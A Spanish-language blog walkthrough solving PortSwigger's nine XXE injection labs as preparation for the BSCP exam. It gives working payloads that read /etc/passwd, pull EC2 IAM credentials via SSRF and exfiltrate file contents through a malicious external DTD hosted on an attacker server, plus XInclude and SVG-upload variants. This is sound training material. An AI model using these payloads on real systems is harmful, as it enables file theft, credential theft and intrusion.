¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a XML External Entity (XXE) Injection. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
A pesar de que JSON cada vez gana más peso con respecto a XML para el intercambio de datos, no es raro ver aplicaciones que todavía utilizan este último. Además, estas aplicaciones no suelen contener ningún tipo de defensa contra este tipo de ataques, quizá porque no son tan conocidos. Por ello, presta mucha atención a este post, porque en la vida real te encontrarás (aunque cierto que muy de vez en cuando) este tipo de vulnerabilidades.
Lab1 (Apprentice) – Exploiting XXE using external entities to retrieve files
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener el contenido del fichero «/etc/passwd».
Para identificar este tipo de vulnerabilidades, es crucial revisar si se intercambian datos en formato XML con la aplicación. En caso afirmativo, tenemos muchas posibilidades de que se pueda producir este tipo de vulnerabilidad. En este laboratorio, el intercambio de datos se produce al checkear el stock de productos disponibles, generando una petición tal como la siguiente:

Para probar una vulnerabilidad de inyección XXE Injection, es fundamental contar con los payloads adecuados. Los escáneres automáticos nos ayudan mucho a la hora de detectar la vulnerabilidad, pero explotarla posteriormente suele ser cosa nuestra. Por ello, haremos todos los pasos manualmente en este laboratorio. El payload que usaremos es el siguiente:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Fíjate en lo resaltado en negrita. Definimos, en primer lugar, el DTD del documento y, en él, una entidad externa denominada «xxe» que recoge el contenido del fichero «/etc/passwd». Asimismo, dado que la respuesta HTTP obtenida al lanzar la petición nos indica el número de unidades disponible, vamos a intentar ver si al ejecutar la nueva petición con la entidad externa su contenido se refleja en la respuesta:

Como vemos, con dicho payload obtenemos el fichero «/etc/passwd» y resolvemos el laboratorio. Ahora bien, si inyectásemos el payload en el parámetro «storeId» veríamos que la respuesta es de nuevo numérica. Esto es dado que dicho parámetro no se procesa e incluye en la respuesta. Por ello, debemos siempre comprobar si podemos inyectar entidades externas y también si en algún parámetro dicha entidad se expande y se visualiza en la respuesta.
Lab2 (Apprentice) – Exploiting XXE to perform SSRF attacks
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener el contenido de los metadatos internos de la instancia.
Comenzamos, de nuevo, mapeando la petición vulnerable, que es el checking de stock de un producto:

En este caso, utilizaremos un payload similar al caso anterior, pero dado que necesitamos realizar una petición y no leer un fichero, cambiaremos el handle de manera adecuada:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Vemos que, efectivamente, obtenemos el resultado de lanzar la petición al endpoint de metadatos. El valor «latest» es muy característico. Si no sabes por qué nos piden en este laboratorio explotar el endpoint de metadatos de una instancia, deberías leer este blog de HackTricks (kudos a todo el equipo de HackTricks, cuyo trabajo es espectacular!!! :)): https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html. Navegamos a través de los directorios y obtenemos los datos pedidos:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab3 (Practicioner) – Blind XXE with out-of-band interaction
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener una interacción fuera de banda con Burp Collaborator.
De nuevo, capturamos la petición vulnerable, que no es otra que la que verifica el stock disponible de un producto determinado de la tienda.

Utilizaremos un payload muy similar a los anteriores, solo que en este caso, lanzaremos una petición contra sistemas externos en lugar de a ficheros locales o instancias de metadatos.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://j0kt3stgi8iq1nqac7i53xzie9k08swh.oastify.com" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>


Lanzamos la petición y… ¡¡Laboratorio resuelto!!
Lab4 (Practicioner) – Blind XXE with out-of-band interaction via XML parameter entities
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener una interacción fuera de banda con Burp Collaborator.
Tenemos el mismo caso que antes, con la petición vulnerable idéntica. Sin embargo, los payloads utilizados hasta ahora no funcionan, tal como podemos observar:

Sin embargo, vamos a cambiar ligeramente el payload para utilizar entidades parametrizadas. Fíjate en el siguiente payload y cómo ahora definimos una variable (característico ese «%») y la llamamos en el propio DTD. También fíjate que ya no es necesario incluir la entidad:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://qrl0uzkn9f9xsuhh3e9cu4qp5gb7z1nq.oastify.com" > %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>


Como vemos, la respuesta nos indica un error de parseo XML. Sin embargo, el parámetro se ha utilizado, expandido y por tanto la interacción con Burp Collaborator se produce de manera exitosa.
Lab5 (Practicioner) – Exploiting blind XXE to exfiltrate data using a malicious external DTD
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exfiltrate the contents of the /etc/hostname file.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener el contenido del fichero «/etc/hostname».
Comenzamos identificando el punto de entrada, que como en otras ocasiones es la función que verifica el stock de un producto. En este caso, si utilizamos el payload siguiente vemos que conseguimos una petición fuera de banda:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://2rubc0ao91i4bfck5qlelnh33u9lxbl0.oastify.com" > %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>


Ahora, necesitamos escalar esta explotación para exfiltrar datos. Para ello, hostearemos en primer lugar en nuestro servidor atacante un archivo «malicious.dtd» con el siguiente contenido. Fíjate que utilizamos parámetros anidados para conseguir obtener el contenido del archivo y añadirlo a una petición HTTP hacia un servidor bajo nuestro control:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://exploit-0aa200e30337aa00810f3ec3010d0000.exploit-server.net/?x=%file;'>">
%eval;
%exfiltrate;

Toda vez que tenemos el archivo ya en nuestro servidor atacante, simplemente debemos modificar nuestro payload inicial para que en lugar de realizar una petición, cargue este DTD malicioso y se expanda todo lo que hay en él, produciendo la exfiltración de tráfico:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://exploit-0aa200e30337aa00810f3ec3010d0000.exploit-server.net/malicious.dtd"> %xxe;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Lanzamos la petición y observamos ahora los logs de acceso de nuestro servidor atacante:


Como vemos en la imagen anterior, se produce primeramente una petición al archivo «malicious.dtd» y, al cargarse este, se lanza la segunda petición con el contenido del archivo «/etc/hostname» exfiltrado. Simplemente ahora metiéndolo como respuesta resolvemos el laboratorio.
Lab6 (Practicioner) – Exploiting blind XXE to retrieve data via error messages
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener el contenido del fichero «/etc/passwd».
De nuevo, identificamos y confirmamos la vulnerabilidad con una petición fuera de banda en la verificación de stocks:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://2rubc0ao91i4bfck5qlelnh33u9lxbl0.oastify.com" > %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>


En este caso, algo importante es que vemos que la aplicación nos muestra el error de manera verbosa. Por ello, generamos el siguiente archivo DTD malicioso y lo hosteamos en nuestro servidor. Este archivo se usa para inducir un error y ver si el contenido del fichero «/etc/passwd» se muestra en la respuesta HTTP:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Ahora, lanzamos la petición que realiza la carga de dicho archivo DTD utilizando parámetros:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0a7a002e035e283c826946d201890060.exploit-server.net/malicious.dtd" > %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Como vemos… ¡¡Archivo exfiltrado, laboratorio resuelto!!
Lab7 (Expert) – Exploiting XXE to retrieve data by repurposing a local DTD
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, trigger an error message containing the contents of the /etc/passwd file.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection para obtener el contenido del fichero «/etc/passwd».
En este caso, no podemos realizar las técnicas anteriores, ya que las interacciones fuera de banda no están permitidas. Asimismo, el uso de entidades tampoco es viable. Por tanto, vamos a intentar en primer lugar localizar un fichero DTD que exista en el sistema para intentar reconfigurar una «parameter entity» (esta técnica la explican en los materiales de PortSwigger con mayor detalle).
Lanzamos los dos siguientes payloads. Fíjate en las negritas, ya que son los ficheros que estamos intentando utilizar como DTD externos:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/foo">
%local_dtd;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>


Como vemos en los errores, sabemos que el fichero «/usr/share/yelp/dtd/docbookx.dtd» existe. Una búsqueda rápida en internet y localizamos el fichero con su contenido por defecto, en el que se define una entidad denominada «ISOamso».
Sabiendo esto, pues, podemos utilizar el siguiente payload que carga el DTD externo y luego redefine la entidad «ISOamso».
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Lanzamos la petición y resolvemos el laboratorio, porque vemos que las «parameter entity» se expanden.

Lab8 (Practicioner) – Exploiting XInclude to retrieve files
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, inject an XInclude statement to retrieve the contents of the /etc/passwd file.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection mediante XInclude para obtener el contenido del fichero «/etc/passwd».
En este laboratorio, vemos que la petición enviada para obtener el stock de productos no es un fichero XML como tal.

Por tanto, podría inducirnos a pensar que el ataque XXE Injection no es posible. Sin embargo, puede que el valor de los parámetros recibidos se incluya posteriormente en un fichero XML. Por ello, testeamos el siguiente payload:
<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude"><xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/passwd"/></foo>
Lo hemos codificado, pero en realidad se decodifica como:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
Como vemos, estamos utilizando XInclude para incluir un fichero de texto como valor para dicho parámetro, con la esperanza de que este se incluya posteriormente en un fichero XML y al procesarlo tenga éxito:

Lanzamos la petición y laboratorio resuelto. Parece sencillo, pero en realidad lo difícil es darse cuenta de que ese parámetro se puede incluir posteriormente en un fichero XML. Sin embargo, a esto nos ayudan mucho los escáneres automáticos, que prueban este tipo de cosas de manera rápida.
Lab9 (Practicioner) – Exploiting XXE via image file upload
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use the «Submit solution» button to submit the value of the server hostname.». En este laboratorio debemos identificar y explotar una vulnerabilidad XXE Injection mediante subida de ficheros para obtener el contenido del fichero «/etc/hostname».
Mapeamos en primer lugar la superficie de exposición y vemos que en la petición enviada para subir un comentario a cualquier entrada del blog se incluye la posibilidad de subir un avatar. En principio, este avatar será una imagen:

Lo que haremos en este caso será subir un fichero SVG, que no es más que un XML. Para ello, cambiaremos el tipo de fichero de imagen subido e incluiremos un payload típico de XXE Injection.
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Lanzamos la petición y vemos que el fichero se sube con éxito:

Pero, como podemos apreciar en la negrita, el SVG es una imagen del texto obtenido a través de la entidad «xxe», que a su vez obtiene el valor del fichero «/etc/hostname». Por tanto, accediendo al fichero de imagen subido podemos ver el nombre del host y resolver el laboratorio:

~km0xu95